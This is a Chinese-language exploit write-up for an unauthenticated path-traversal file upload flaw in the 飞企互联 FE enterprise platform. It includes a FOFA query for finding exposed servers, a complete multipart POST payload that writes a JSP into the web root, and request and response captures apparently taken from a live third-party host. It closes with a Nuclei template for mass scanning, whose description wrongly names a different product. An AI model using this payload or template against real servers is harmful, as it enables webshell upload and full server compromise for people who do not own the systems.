

F1-1 飞企互联-FE企业运营管理平台-文件上传

漏洞描述:

飞企互联-FE企业运营管理平台 /servlet/uploadAttachmentServlet接口处存在文件上传漏洞, 未经身份验证的攻击者可以利用此漏洞上传恶意后门文件, 获取服务器权限, 进而控制整个web服务器。

影响版本:

version < 7.0

网站图片:



回话被找回

网络测绘:

fofa语法:

FOFA: app="FE-协作平台"

漏洞复现:

访问漏洞URL: /servlet/uploadAttachmentServlet, 出现如上响应, 默认存在漏洞。

```
{"iq":{"query":{"errorCode":"1","errorMessage":"协议为空或不正确:null"},"namespace":"CommonResponse"}}
```

payload:

```
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk

-----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
```

```
<% out.println("hello");%>
-----WebKitFormBoundaryKNT0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"

{"iq":{"query":{"UpdateType":"mail"}}}
-----WebKitFormBoundaryKNT0t4vBe8cX9rZk--
```

效果图:

```
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: 119.123.220.237:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNT0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain

<% out.println("hello");%>
-----WebKitFormBoundaryKNT0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
```

```
1 HTTP/1.1 200 OK 远端地址:119.123.220.237:9090;
2 Server: Apache-Coyote/1.1 响应时间:36ms; 总耗时:72ms; UR
3 Set-Cookie: JSESSIONID=3620A60664441245C85B8F224F7AC143; Path=/; HttpOnly
4 Content-Type: text/html; charset=UTF-8
5 Vary: Accept-Encoding
6 Date: Fri, 29 Mar 2024 07:25:02 GMT
7 Connection: close
8 Content-Length: 201
9
10 {"iq":{"query":{"errorCode":"0","errorMessage":"上传成功1个文件。","attaItems":[{"guid":"460D4DE9-C7DF-3E93-A51D-C1948F8F84E4","time":"","master_key":"NjE1MDU="}], "namespace":"CommonResponse"}}
```

request

```
1 GET /hello.jsp; HTTP/1.1
2 Host: 119.123.220.237:9090
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Upgrade-Insecure-Requests: 1
8
9
```

Responses 7bytes / 45ms

```
1 HTTP/1.1 200 OK 远端地址:119.123.220.237:9090;
2 Server: Apache-Coyote/1.1 响应时间:45ms; 总耗时:90ms; UR
3 Set-Cookie: JSESSIONID=C24279421CFF825D27A6B36A6EBB5463E; Path=/; HttpOnly
4 Content-Type: text/html; charset=ISO-8859-1
5 Date: Fri, 29 Mar 2024 07:21:03 GMT
6 Content-Length: 7
7
8 hello
9
```

Yaml模板

id: F1-1FeiQiHuLian-FileUpload

info:
name: F1-1FeiQiHuLian-FileUpload
author: Kpanda
severity: critical
description: Sunflower Simple and Personal is susceptible to a remote code execution vulnerability.
reference:
- https://blog.csdn.net/qz_41904294/article/details/136925484?spm=1001.2014.3001.5502
tags: FeiQiHuLian,FileUpload

http:
- raw:
- |
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNT0t4vBe8cX9rZk

-----WebKitFormBoundaryKNT0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain

<% out.println("hello");%>
-----WebKitFormBoundaryKNT0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"

{ "iq": { "query": { "UpdateType": "mail" } } }
-----WebKitFormBoundaryKNT0t4vBe8cX9rZk--
- |
GET /hello.jsp; HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1

```
matchers:
- type: dsl
  dsl:
    - "status_code 1==200"
    - "status_code 2==200"
    - "contains(body_1, '成功') "
    - "contains(body_2, 'hello') "
  condition: and
```